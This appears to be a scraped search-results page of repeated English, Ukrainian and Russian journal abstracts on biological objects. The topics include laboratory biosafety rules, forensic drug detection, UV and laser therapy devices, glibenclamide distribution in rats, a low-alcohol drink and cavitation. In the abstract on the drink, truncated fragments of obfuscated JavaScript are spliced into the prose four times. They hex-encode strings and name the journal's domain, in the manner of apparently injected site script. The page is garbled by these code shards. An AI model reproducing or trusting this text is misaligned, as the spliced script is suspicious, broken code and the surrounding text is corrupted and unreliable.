Search

Problem statement. The work was carried out on the identification and distribution by groups of various types of emergency situations that are possible in laboratories when performing procedures with various biological agents. The need to observe clearly regulated rules for safe work with various biological objects in laboratory institutions is proved. The purpose of the article. Determine the rules for safe work with various biological agents in laboratory conditions of different security levels. Method. Analytical methods, generalizing approaches to information presented in regulatory documents, literary and other information sources. Results. Existing and previously developed rules for safe work and techniques for appropriate laboratory work with biological objects are studied. The main signs of work risks according to the international classification of microorganisms are investigated. The characteristics of each hazard group are studied and examples of microbial species assigned to a particular risk group are given. The classification characteristics for four types of microbiological laboratories according to a number of features are given. It was established that the level of laboratories’ biological safety depends on the risk group of microorganisms. It is recognized that compliance with the rules of safe work with various biological agents in laboratory conditions is ensured by the use of necessary and mandatory equipment for a certain level of the laboratory. It is argued that the possibility of implementing biological safety rules in laboratories of different levels is based on the assessment of biological risks in certain conditions of a given laboratory institution. A step-by-step procedure for assessing biological risks in a certain laboratory has been developed, which is also presented in the form of a block diagram. Scientific novelty. Scientific and normative information on the rules of safe work with biological agents in laboratory conditions is analyzed and summarized. A defined sequence of actions for biological risk assessment in certain laboratory settings is proposed. Practical value. The practical possibility and necessity of managing biological risks in laboratory conditions of different biological safety levels is substantiated., Постановка проблеми. Проведено роботу з виявлення і розподілення по групах різних видів аварійних ситуацій, які можливі в лабораторіях під час виконання процедур із різними біологічними агентами. Доведено необхідність дотримання чітко регламентованих правил безпечної роботи з різними біологічними об’єктами в лабораторних установах. Мета – визначити правила безпечної роботи з різними біологічними агентами в умовах лабораторій різного рівня безпеки. Методика. Аналітичні методи, узагальнювальні підходи до інформації, представленої в нормативних документах, літературних та інших інформаційних джерелах. Результати. Вивчено правила безпечної роботи і техніки проведення відповідних лабораторних робіт із біологічними об’єктами. Досліджено основні ознаки ризиків роботи за міжнародною класифікацією мікроорганізмів. Вивчено характеристики кожної групи небезпек, а також наведено приклади видів мікроорганізмів, віднесених до певної групи ризиків. Наведено класифікаційну характеристику чотирьох типів мікробіологічних лабораторій за рядом ознак. Установлено, що рівень біологічної безпеки лабораторій залежить від групи ризику мікроорганізмів. Визнано, що виконання правил безпечної роботи з різними біологічними агентами в лабораторних умовах забезпечується використанням необхідного і обов’язкового, для певного рівня лабораторії, обладнання. Аргументовано, що можливість виконання правил біологічної безпеки в лабораторіях різних рівнів ґрунтується на оцінюванні біологічних ризиків у певних умовах даної лабораторної установи. Розроблено покрокову процедуру оцінювання біологічних ризиків у певній лабораторії, яку представлено у вигляді блок-схеми. Наукова новизна. Проаналізовано та узагальнено наукову і нормативну інформацію щодо правил безпечної роботи з біологічними агентами в лабораторних умовах. Запропоновано певну послідовність дій для оцінювання біологічних ризиків у певних лабораторних установах. Практична значимість. Обґрунтовано практичну можливість і необхідність керування біологічними ризиками в лабораторних умовах різних рівнів біологічної безпеки.

Objective - to show the value of the expert initiative to improve the objectivity andinformational content of forensic medical examinations.Material and methods. Study and statistical analysis of the archival forensic medicaldocumentation of the Vinnitsa Regional Bureau of Forensic Medical Examination forthe period of 2013-2018.Results. From 2013 to 2018 inclusively in the Vinnitsa Regional Bureau of ForensicMedical Examination 52 cases of detection of narcotic substances, withdrawn in biological objects, were registered when carrying out the examination of corpses. Thenumbers of cases of the referred objects to toxicological examination, the number ofpositive results among them, including expert initiatives, distribution of narcoticsubstances by frequency of detection, causes of death were analyzed.Conclusions. In recent years, there has been a tendency, due to an expert initiative aswell, to an increase in the number of cases of narcotic substances detection in biologicalobjects at examination of corpses, an increase in the share of drug poisoning in thestructure of violent death., Цель работы - показать значение экспертной инициативы для повышенияобъективности и информативности судебно-медицинских экспертиз.Материалы и методы. Изучение и статистический анализ архивной судебномедицинской документации Винницкого областного бюро за 2013 - 2018 годы.Результаты. С 2013 по 2018 год включительно по Винницкому областному бюросудебно-медицинской экспертизы зарегистрировано 52 случая обнаружения наркотических веществ в биологических объектах, изъятых при проведении экспертиз трупов. Проанализировано количество случаев направления объектов натоксикологическую экспертизу, количество из них позитивных результатов, в томчисле по экспертной инициативе, распределение наркотических веществ по частоте обнаружения, причины смерти.Выводы. В последние годы, в том числе и благодаря экспертной инициативе, наблюдается тенденция к увеличению количества случаев обнаружения наркотическихвеществ в биологических объектах, изъятых из трупов, и, как следствие,возрастание доли отравлений наркотиками в структуре насильственной смерти., У Кримінально-процесуальному Кодексі України та законі України "Про судовуекспертизу" закріплено право судово-медичного експерта, у випадку, якщо в ходіпроведення судово-медичної експертизи будуть виявлені відомості, які маютьзначення для кримінального провадження і з приводу яких не ставилися питання,зазначити про них у своєму висновку.Мета роботи - продемонструвати значення експертної ініціативи для підвищенняоб'єктивності та інформативності судово-медичних експертиз.Матеріал і методи. Вивчення та статистичний аналіз архівної судово-медичноїдокументації Вінницького обласного бюро за 2013 - 2018 рр.Результати. За 2013 - 2018 рр. включно по Вінницькому обласному бюро судовомедичної експертизи зареєстровано 52 випадки виявлення наркотичних речовин вбіологічних об'єктах, вилучених під час проведення експертиз трупів. Проаналізовано загальну кількість випадків направлення об'єктів на токсикологічнуекспертизу, кількість виявлених позитивних результатів, в тому числі з експертноїініціативи, розподіл наркотичних речовин за частотою виявлення, причини смерті.Висновки. Останніми роками, в тому числі і завдяки експертній ініціативі,спостерігається тенденція до збільшення кількості випадків виявлення наркотичних речовин в біологічних об'єктах, вилучених з трупів, і, як наслідок,зростання частки отруєнь наркотиками у структурі насильницької смерті.

The basic photobiological methods of the action of optical radiation of the ultraviolet range of waves (250-400 nm), which are used to irradiate the affected skin of a person, revealed a significant disproportionate placement of light sources, which leads to uneven light flow on the biological object and reduces the effectiveness of light therapy.A calculation technique was developed and proposed to create an even distribution of illumination on the irradiation surface and recommendations are given for obtaining the optimum light field of the optoelectronic system of the device for light therapy.Data on new modern semiconductor sources of ultraviolet radiation (250-350 nm) are given. Unlike mercury lamps, LED elements allow the construction of compact computer-controlled light-therapy devices for use in photomedical technologies, Проанализированы основные фотобиологические методы воздействия оптического излучения ультрафиолетового диапазона волн (250-400 нм), которые используются для облучения пораженного кожного покрова человека, выявлено значительное непропорциональное размещение источников света, что приводит к неравномерному формированию светового потока на биологическом объекте и снижает эффективность светотерапии.Разработана и предложена методика расчета для создания равномерного распределения освещенности на поверхности облучения и приведены рекомендации получения оптимального светового поля оптико-электронной системы устройства для светотерапии.Приводятся сведения о новых современных полупроводниковых источниках ультрафиолетового излучения (250-350 нм). В отличие от ртутных ламп светодиодные элементы обеспечивают возможность построения компактных компьютерных регулируемых светотерапевтических устройств для применения в фотомедицинских технологиях, Проаналізовано основні фотобіологічні методи впливу оптичного випромінювання ультрафіолетового діапазону хвиль (250-400 нм), які використовуються для опромінення ураженого шкірного покриву людини, виявлено значне непропорційне розміщення джерел світла, що призводить до нерівномірного формування світлового потоку на біологічному об'єкті і знижує ефективність світлотерапії.Розроблена та запропонована методика розрахунку для створення рівномірного розподілу освітленості на поверхні опромінення та наведено рекомендації щодо отримання оптимального світлового поля оптико-електронної системи пристрою для світлотерапії. Наводяться відомості про нові сучасні напівпровідникові джерела ультрафіолетового випромінювання (250-350 нм). На відміну від ртутних ламп розглянуті світлодіодні елементи забезпечують можливість побудови компактних комп'ютерних регульованих світлотерапевтичних пристроїв для застосування в фотомедичних технологіях.

Проаналізовано основні фотобіологічні методи впливу оптичного випромінювання ультрафіолетового діапазону хвиль (250-400 нм), які використовуються для опромінення ураженого шкірного покриву людини, виявлено значне непропорційне розміщення джерел світла, що призводить до нерівномірного формування світлового потоку на біологічному об'єкті і знижує ефективність світлотерапії. Розроблена та запропонована методика розрахунку для створення рівномірного розподілу освітленості на поверхні опромінення та наведено рекомендації щодо отримання оптимального світлового поля оптико-електронної системи пристрою для світлотерапії. Наводяться відомості про нові сучасні напівпровідникові джерела ультрафіолетового випромінювання (250-350 нм). На відміну від ртутних ламп розглянуті світлодіодні елементи забезпечують можливість побудови компактних комп'ютерних регульованих світлотерапевтичних пристроїв для застосування в фотомедичних технологіях. The basic photobiological methods of the action of optical radiation of the ultraviolet range of waves (250-400 nm), which are used to irradiate the affected skin of a person, revealed a significant disproportionate placement of light sources, which leads to uneven light flow on the biological object and reduces the effectiveness of light therapy. A calculation technique was developed and proposed to create an even distribution of illumination on the irradiation surface and recommendations are given for obtaining the optimum light field of the optoelectronic system of the device for light therapy. Data on new modern semiconductor sources of ultraviolet radiation (250-350 nm) are given. Unlike mercury lamps, LED elements allow the construction of compact computer-controlled light-therapy devices for use in photomedical technologies. Проанализированы основные фотобиологические методы воздействия оптического излучения ультрафиолетового диапазона волн (250-400 нм), которые используются для облучения пораженного кожного покрова человека, выявлено значительное непропорциональное размещение источников света, что приводит к неравномерному формированию светового потока на биологическом объекте и снижает эффективность светотерапии. Разработана и предложена методика расчета для создания равномерного распределения освещенности на поверхности облучения и приведены рекомендации получения оптимального светового поля оптикоэлектронной системы устройства для светотерапии. Приводятся сведения о новых современных полупроводниковых источниках ультрафиолетового излучения (250-350 нм). В отличие от ртутных ламп светодиодные элементы обеспечивают возможность построения компактных компьютерных регулируемых светотерапевтических устройств для применения в фотомедицинских технологиях.

Modeling of the effects of chemical compounds toxic influence, including drugs is an important information source for forensic toxicological studies. Cases of fatal poisoning with glibenclamide, mainly at suicidal overdose, are known. Considering that the substance is being actively metabolised, the information about its distribution in organs and tissues after administration to an organism admission at lethal doses can be useful for selecting of biological objects.Aim. This study is aimed to describe the glibenclamide distribution in organs of laboratory animals using the model of acute intoxication.Methods. The model of the glibenclamide acute intoxication was reproduced using albino rats receiving the drug with tween-80 in suspension orally, considering on their body weight and LD50 of toxicant. For the further studies, liver, kidneys, stomach, intestinal content, heart, and blood of the experimental animals were taken after decapitation. Glibenclamide was isolated from the biological objects by acidulated acetonitrile. The extracts obtained from the organs were purified by TLC, and plasma – by solid-phase extraction on Oasis HLB cartridges. TLC and HPLC methods were applied for identification and quantification of glibenclamide.Results. The study revealed that glibenclamide in the extracts obtained from the biological objects was determined in concentrations 2,2–19,8 µg/ml in sample. The highest concentrations of toxicant were found in the extracts obtained from blood and stomach, lower – in the extract from liver and intestinal contents. The given toxicant was found in the extract obtained from heart at concentration of 4,2 µg/ml in sample, that explains its selective toxicity on myocardium. Considering this data, the directed forensic toxicological studies at case of glibenclamide overdose can be carried out by determination of its native substance. Also, it has been proposed to use the heart as an alternative object for chemico-toxicological analysis of toxicants (besides biological objects recommended by TIAFT).Conclusion. Glibenclamide distribution in animal organs and tissues after administration at lethal doses (the model of acute intoxication) has been established. This modeling allowed to determine biological objects, which can be used for forensic toxicological studies in cases of acute overdose with this toxicant, namely: liver, kidneys, stomach and intestinal contents, heart and blood, Моделювання ефектів токсичного впливу хімічних сполук, зокрема лікарських засобів є вагомим джерелом інформації при проведенні судово-токсикологічних досліджень. Відомі випадки летальних отруєнь глібенкламідом, переважно при суїцидальному передозуванні. Враховуючи те, що дана речовина досить активно метаболізує, інформація щодо її розподілу в органах і тканинах при надходженні в організм в летальних дозах може бути корисною для вибору біологічних об’єктів.Мета. Дослідження розподілу глібенкламіду в органах лабораторних тварин при моделюванні гострої інтоксикації.Методи. Для моделювання гострої інтоксикації глібенкламідом використовували білих щурів, яким препарат у вигляді суспензії з твіном-80 вводили перорально, виходячи з маси тіла тварини та LD50 токсиканту. Після декапітації у піддослідних тварин брали печінку, нирки, шлунок,, кишечник із вмістом, серце та кров. Ізолювання глібенкламіду з біологічних об’єктів проводили підкисленим ацетонітрилом. Для очистки одержаних вилучень з тканин органів використовували метод ТШХ, а очистку плазми від її компонентів та концентрування токсиканту проводили методом твердофазної екстракції на картриджах “Oasis HLB Extraction Cartridge”, 30 mg. Для виявлення та кількісного визначення глібенкламіду застосовували методи ТШХ та ВЕРХ.Результати. Встановлено, що у вилученнях, одержаних з біологічних об’єктів, глібенкламід виявлений в межах 2,2–19,8 мкг/мл в пробі. При цьому найвищі концентрації токсиканту виявлені у вилученнях з крові та шлунку, нижчі – з печінки та кишечника із вмістом. Даний токсикант також виявлений у вилученнях з серця в концентрації 4,2 мкг/мл в пробі, що пояснює його вибіркову токсичність на міокард. Враховуючи це, направлене судово-токсикологічне дослідження при передозуванні глібенкламіду можна здійснювати за його нативною речовиною, а крім біологічних об’єктів, рекомендованих TIAFT, як альтернативний об’єкт доцільно використовувати серце.Висновки. За результатами моделювання гострої інтоксикації у тварин встановлено розподіл глібенкламіду в органах і тканинах при надходженні в організм у летальних дозах. Проведене моделювання дозволило визначити біологічні об’єкти: печінка, нирки, шлунок та кишечник з вмістом, серце та кров, котрі можуть бути застосовані для судово-токсикологічних досліджень у випадках гострого отруєння при передозуванні даним токсикантом

Вackground. The rapid spread of modern biotechnologies causes public concern about their potential harmful effects on biodiversity, taking into account risks to human health. One of the important aspects of the implementation of the biosafety requirements is the observance of rules of labor protection.Оbjective. The aim of this work is to analyze the current status of biosafety through the implementation of requirements for labor protection in enterprises and research institutions of biotechnological (pharmaceutical) profile.Methods. The analysis and synthesis of information on biotechnological and regulatory aspects of biosafety and occupational safety are conducted.Results. The biological safety principle is to limit the spread or prevent spillage of infectious material from the lab environment, where various manipulations or maintaining in culture of the material are carried out. The main legal documents regulating the sphere of labor protection when working with BO in Ukraine: Law of Ukraine “On ensuring sanitary and epidemic wellbeing of population”, Law of Ukraine “On state Biosafety system while creating, testing, transportation and use of genetically modified organisms”, the State sanitary norms and rules on “Organization of work of laboratories in the material study, which contains pathogenic biological agents of I–IV groups of pathogenicity by molecular-genetic methods”, State sanitary rules on “Safety of work with microorganisms of I–II groups of pathogenicity”.Conclusions. An important element of access for the products of the biotechnology industry of Ukraine to the markets of developed countries is compliance with international recommendations on biosafety, which is not possible without the implementation of relevant international instruments in domestic legislation. The formation of the system approach to biosafety and occupational safety in enterprises and research institutions of biotechnological profile will contribute to the development and implementation of regulations (licensing conditions) for the implementation of the activities with genetically modified organisms., Проблематика. Стремительное распространение современных биотехнологий вызывает обеспокоенность общественности относительно их потенциального вредного воздействия на биологическое разнообразие, а также относительно рисков для здоровья человека. Одним из важных аспектов реализации требований биобезопасности является соблюдение правил охраны труда.Цель исследования. Анализ современного состояния обеспечения биобезопасности через реализацию требований к охране труда на предприятиях и в научно-исследовательских учреждениях биотехнологического (фармацевтического) профиля.Методика реализации. Проведены анализ и обобщение информации о биотехнологических и нормативно-правовых аспектах биобезопасности и охраны труда.Результаты исследования. Принцип биологической безопасности – это ограничение распространения или предотвращение утечки инфекционного материала из лабораторной среды, где с ним проводят различные манипуляции или поддерживают в культуре. Основные нормативно-правовые документы, регулирующие сферу охраны труда при работе с БО в Украине: законы “Об обеспечении санитарного и эпидемического благополучия населения”, “О государственной системе биобезопасности при создании, испытании, транспортировке и использовании генетически модифицированных организмов”, Государственные санитарные нормы и правила “Организация работы лабораторий при исследовании материала, который содержит биологические патогенные агенты I–IV групп патогенности молекулярно-генетическими методами”, Государственные санитарные правила “Безопасность работы с микроорганизмами І–ІІ групп патогенности”.Выводы.Важным элементом доступа продукции биотехнологической отрасли Украины на рынки развитых стран является соблюдение международных рекомендаций по биобезопасности, что невозможно без имплементации соответствующих международных документов в отечественное законодательство. Формированию системного подхода в области биобезопасности и охраны труда на предприятиях и в научно-исследовательских учреждениях биотехнологического профиля будет способствовать разработка и внедрение правил (лицензионных условий) осуществления деятельности с генетически модифицированными организмами., Проблематика. Швидке поширення сучасних біотехнологій викликає стурбованість громадськості щодо її потенційної шкідливої дії на біологічне різноманіття, а також щодо ризиків для здоров’я людини. Одним із важливих аспектів реалізації вимог біобезпеки є додержання правил охорони праці.Мета дослідження. Аналіз сучасного стану забезпечення біобезпеки через реалізацію вимог до охорони праці на підприємствах й у науково-дослідних установах біотехнологічного (фармацевтичного) профілю.Методика реалізації. Проведено аналіз і узагальнення інформації щодо біотехнологічних і нормативно-правових аспектів біобезпеки та охорони праці.Результати дослідження. Принцип біологічної безпеки – це обмеження поширення або запобігання витоку інфекційного матеріалу з лабораторного середовища, де з ним проводять різні маніпуляції або підтримують в культурі. Основними нормативно-правовими документами, що регулюють сферу охорони праці при роботі з біологічним об’єктом в Україні, є: закони України “Про забезпечення санітарного та епідемічного благополуччя населення”, “Про державну систему біобезпеки при створенні, випробуванні, транспортуванні та використанні генетично модифікованих організмів”, Державні санітарні норми і правила “Організація роботи лабораторій при дослідженні матеріалу, що містить біологічні патогенні агенти I–IV груп патогенності молекулярно-генетичними методами”, Державні санітарні правила “Безпека роботи з мікроорганізмами І–ІІ груп патогенності”.Висновки. Важливим елементом доступу продукції біотехнологічної галузі України на ринки розвинених країн є дотримання міжнародних рекомендацій щодо біобезпеки, що не можливо без імплементації відповідних міжнародних документів у вітчизняне законодавство. Формуванню системного підходу в галузі біобезпеки та охорони праці на підприємствах та у науково-дослідних установах біотехнологічного профілю сприятиме розробка та впровадження правил (ліцензійних умов) провадження діяльності з генетично модифікованими організмами.

Проблематика. Швидке поширення сучасних біотехнологій викликає стурбованість громадськості щодо її потенційної шкідливої дії на біологічне різноманіття, а також щодо ризиків для здоров’я людини. Одним із важливих аспектів реалізації вимог біобезпеки є додержання правил охорони праці. Мета дослідження. Аналіз сучасного стану забезпечення біобезпеки через реалізацію вимог до охорони праці на підприємствах й у науково-дослідних установах біотехнологічного (фармацевтичного) профілю. Методика реалізації. Проведено аналіз і узагальнення інформації щодо біотехнологічних і нормативно-правових аспектів біобезпеки та охорони праці. Результати дослідження. Принцип біологічної безпеки – це обмеження поширення або запобігання витоку інфекційного матеріалу з лабораторного середовища, де з ним проводять різні маніпуляції або підтримують в культурі. Основними нормативно-правовими документами, що регулюють сферу охорони праці при роботі з біологічним об’єктом в Україні, є: закони України “Про забезпечення санітарного та епідемічного благополуччя населення”, “Про державну систему біобезпеки при створенні, випробуванні, транспортуванні та використанні генетично модифікованих організмів”, Державні санітарні норми і правила “Організація роботи лабораторій при дослідженні матеріалу, що містить біологічні патогенні агенти I–IV груп патогенності молекулярно-генетичними методами”, Державні санітарні правила “Безпека роботи з мікроорганізмами І–ІІ груп патогенності”. Висновки. Важливим елементом доступу продукції біотехнологічної галузі України на ринки розвинених країн є дотримання міжнародних рекомендацій щодо біобезпеки, що не можливо без імплементації відповідних міжнародних документів у вітчизняне законодавство. Формуванню системного підходу в галузі біобезпеки та охорони праці на підприємствах та у науково-дослідних установах біотехнологічного профілю сприятиме розробка та впровадження правил (ліцензійних умов) провадження діяльності з генетично модифікованими організмами. Вackground. The rapid spread of modern biotechnologies causes public concern about their potential harmful effects on biodiversity, taking into account risks to human health. One of the important aspects of the implementation of the biosafety requirements is the observance of rules of labor protection. Оbjective. The aim of this work is to analyze the current status of biosafety through the implementation of requirements for labor protection in enterprises and research institutions of biotechnological (pharmaceutical) profile. Methods. The analysis and synthesis of information on biotechnological and regulatory aspects of biosafety and occupational safety are conducted. Results. The biological safety principle is to limit the spread or prevent spillage of infectious material from the lab environment, where various manipulations or maintaining in culture of the material are carried out. The main legal documents regulating the sphere of labor protection when working with BO in Ukraine: Law of Ukraine “On ensuring sanitary and epidemic wellbeing of population”, Law of Ukraine “On state Biosafety system while creating, testing, transportation and use of genetically modified organisms”, the State sanitary norms and rules on “Organization of work of laboratories in the material study, which contains pathogenic biological agents of I—IV groups of pathogenicity by molecular-genetic methods”, State sanitary rules on “Safety of work with microorganisms of I—II groups of pathogenicity”. Conclusions. An important element of access for the products of the biotechnology industry of Ukraine to the markets of developed countries is compliance with international recommendations on biosafety, which is not possible without the implementation of relevant international instruments in domestic legislation. The formation of the system approach to biosafety and occupational safety in enterprises and research institutions of biotechnological profile will contribute to the development and implementation of regulations (licensing conditions) for the implementation of the activities with genetically modified organisms. Проблематика. Стремительное распространение современных биотехнологий вызывает обеспокоенность общественности относительно их потенциального вредного воздействия на биологическое разнообразие, а также относительно рисков для здоровья человека. Одним из важных аспектов реализации требований биобезопасности является соблюдение правил охраны труда. Цель исследования. Анализ современного состояния обеспечения биобезопасности через реализацию требований к охране труда на предприятиях и в научно-исследовательских учреждениях биотехнологического (фармацевтического) профиля. Методика реализации. Проведены анализ и обобщение информации о биотехнологических и нормативно-правовых аспектах биобезопасности и охраны труда. Результаты исследования. Принцип биологической безопасности – это ограничение распространения или предотвращение утечки инфекционного материала из лабораторной среды, где с ним проводят различные манипуляции или поддерживают в культуре. Основные нормативно-правовые документы, регулирующие сферу охраны труда при работе с БО в Украине: законы “Об обеспечении санитарного и эпидемического благополучия населения”, “О государственной системе биобезопасности при создании, испытании, транспортировке и использовании генетически модифицированных организмов”, Государственные санитарные нормы и правила “Организация работы лабораторий при исследовании материала, который содержит биологические патогенные агенты I–IV групп патогенности молекулярно-генетическими методами”, Государственные санитарные правила “Безопасность работы с микроорганизмами І–ІІ групп патогенности”. Выводы. Важным элементом доступа продукции биотехнологической отрасли Украины на рынки развитых стран является соблюдение международных рекомендаций по биобезопасности, что невозможно без имплементации соответствующих международных документов в отечественное законодательство. Формированию системного подхода в области биобезопасности и охраны труда на предприятиях и в научно-исследовательских учреждениях биотехнологического профиля будет способствовать разработка и внедрение правил (лицензионных условий) осуществления деятельности с генетически модифицированными организмами.

Ethyl spirit that negatively influences the organism of a human is toxic and has narcotic influence, is the complement of low-alcoholic drinks, even in a homoeopathic concentration.The semi-finished product from plant row material for low-alcoholic drinks is made by the method of fermentation, contains 4,0% of alcohol and the mixture of extract substances from different plants. The risks of the development of toxic or side effects at the use of intermediate product for low-alcoholic drinks on the basis of the results received during preclinical researches on biological objects by quantitative indexes of antioxidant and prooxidant markers of homogenate liver of experimental animals are studied and estimated.The studies of the drink on the model of normobaric hypoxia conducted in comparison with beer the volume part of alcohol of 4,0 % and solution of alcohol of ethyl spirit 4,0 %.The semi-finished product for low-alcoholic drinks at intragastric introduction for 14 days in a maximally possible volume to mice showed the presence of anthypoxic properties indicates an antioxidant action in relation to brain tissues.The content of DC, TBA-reactants, GR and activity of catalase in the homogenate livers of rats which received, the semi-finished product statistically did not differ from analogical data for the animals, which received pure water. It means that additional content of spirit in product does not strengthen the processes of prooxidation, caused by modeling of oxidative stress.Antioxidant properties of the product from plant raw material for low-alcoholic drinks are investigated in the conditions of oxidative stress and on the model of sharp hypoxia at preclinical tests on experimental animals. The results of the research showed that due its composition the drink possesses antioxidant potential; it is able to protect liver from negative influence of alcohol both in ordinary conditions and under the strengthened oxidation of the body.Further work in this direction will create drinks with high alkoprotektive properties and expand the range of soft drinks.// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "journals.uran.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e, Исследованы антиоксидантные свойства полуфабриката из растительного сырья для безалкогольных напитков в условиях оксидативного стресса и на модели острой гипоксии при доклинических испытаниях на биологических объектах. Приведены результаты, которые подтверждают, что благодаря своему составу полуфабрикат имеет антиоксидантный потенциал, который способен защитить печень от негативного влияния алкоголя как в обычных условиях, так и при условии усиленной оксидации организма.// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "journals.uran.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e, Досліджено антиоксидантні властивості напівфабрикату з рослинної сировини для слабоалкогольних напоїв в умовах оксидативного стресу та на моделі гострої гіпоксії під час доклінічних випробувань на біологічних об’єктах. Наведено результати, які підтверджують, що завдяки своєму складу напівфабрикат має антиоксидантний потенціал, здатний захистити печінку від негативного впливу алкоголю як у звичайних умовах, так і за умов посиленої оксидації організму.// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "journals.uran.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "journals.uran.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

Cavitation, which yet has not found a wide application in industrial technologies, is an effective method of hydro-mechanical intensification of chemical-engineering, food, pharmaceutical, biological and other processes. The effectiveness of cavitation process is enabled by cavitation crashing of the solid phase, turbulent diffusion of boundary layer of the fluid by cavitation bubbles, emergence mass transfer aspects, which are characterized by high values of mass transfer coefficients. Processing of biological objects in a cavitation field can be used as an independent process and ensure an inactivation and extinction of microorganisms or as cyanobacteria pre-treatment stage with the aim of increasing the mass transfer surface for the following extraction or biochemical processes. The results of microscopic analysis showed that for certain modes of processing of liquid substances in the cavitation field the decrease of contrast cells is observed as well as damage to the cell membrane, reducing the clarity of contours, cell shape change, aggregation and mechanical damage. Experimental studies have established that in the case of hydrodynamic cavitation to increase the effectiveness of the process of obtaining energy from cyanobacterial biomass, treated in a hydrodynamic cavitation field cyanobacterial biomass, a degree of lipid extraction is increased by 54,3 % and the number of synthesized biogas increases by 28,3 %., Исследовано влияние гидродинамической кавитации на биологические объекты Рассмотрена перспективность использования кавитации как самостоятельной технологической стадии для инактивации микроорганизмов и как стадии предварительной обработки цианобактерий с целью увеличения поверхности массообмена для последующих технологий. Установлена эффективность использования предварительной обработки биомассы цианобактерий в поле гидродинамической кавитации для получения из них в последующем липидов (сырья для производства биодизеля) и биогаза., Досліджено вплив гідродинамічної кавітації на біологічні об’єкти. Розглянуто перспективність використання кавітації як самостійної технологічної стадії для інактивації мікроорганізмів та як стадії попередньої обробки ціанобактерій з ціллю збільшення поверхні масообміну для наступних технологій. Встановлено ефективність використання попередньої обробки біомаси ціанобактерій в полі гідродинамічної кавітації для отримання із них в подальшому ліпідів (сировини для виробництва біодизеля) та біогазу.

Медико-біологічні зображення мають різну фізичну природу. Іх по різному може сприймати людина-опертаор чи автоматизована система. Тому важливим завданням є адаптація процесу обробки зображення до конкретного користувача, тобто до вузької задачі, яку розв’язує споживач інформації. Часто недостатньо представити спостерігачу об’єкт за допомогою ідеальної системи відображення, оскільки необхідна інформація для аналізу зображення з метою пошуку та ідентифікації об’єктів, визначення різного роду кількісних характеристик може бути проявлено тільки в результаті цифрового оброблення. Тому на перший план виходить попереднє оброблення отриманих зображень медико-біологічних об’єктів, яка вимагає покращення самого зображення, виділення скритих об’єктів, визначення їх геометричних розмірів.

One of the possible approaches on modeling of the magnetotherapeutic effects on biological objects is considered, using water as an example. Experimental data of the water pH changes depending on the effect of the magnetic field and the environment parameters are, Рассматривается один из возможных подходов моделирования магнитотерапевтического воздействия на биологические объекты на примере воды Приведены экспериментальные данные изменения воды в зависимости от влияния магнитного поля и параметров окружающей среды, Розглядається один із можливих підходів моделювання магнітотерапевтичного впливу на біологічні об'єкти, з прикладу води. Наведено експериментальні дані зміни pH води залежно від магнітного впливу поля та параметрів навколишнього середовища

У статті наведено результати експериментальних досліджень впливу інтегрованого випромінювання розроблених приладів на живі об'єкти на прикладі хворих тварин. Для лікування світловим випромінюванням інтегрованим були використані розроблені авторські фізіотерапевтичні прилади серії «ПРОМІНЬ-12». Показано, що подібні методики та апаратура можуть бути використані для лікування широкого спектру захворювань у галузі ветеринарної медицини. Режими роботи лазерних випромінювачів є оптимізованими для регенерації біологічних структур, зокрема крові, а також імунних функцій організму. Для удосконалення наведених методів впливу та застосування приладів необхідні подальші дослідження з метою створення режимів інтегрованого впливу поширеного діапазону частот електромагнітного випромінювання. The results of experimental studies on the effect of radiation integrated devices designed for living objects on the example of sick animals. For the treatment of light emission were used integrated authors developed a series of physical therapy equipment "Promin-12." It is shown that similar techniques and equipment can be used to treat a wide range of diseases in veterinary medicine. Modes of operation of laser emitters are optimized for the regeneration of biological structures, including blood and immune functions. To improve these methods use devices will require further research to develop an integrated mode of influence extended range of frequencies of electromagnetic radiation. В статье приведены результаты экспериментальных исследований влияния интегрированного излучения разработанных приборов на живые объекты на примере больных животных. Для лечения световым интегрированным излучением были использованы разработанные авторские физиотерапевтические приборы серии «ПРОМІНЬ-12». Показано, что подобные методики и аппаратура могут быть использованы для лечения широкого спектра заболеваний в области ветеринарной медицины. Режимы работы лазерных излучателей оптимизированы для регенерации биологических структур, в частности крови, а также иммунных функций организма. Для усовершенствования приведенных методов использования приборов необходимы дальнейшие исследования с целью создания режимов интегрированного влияния расширенного диапазона частот электромагнитного излучения.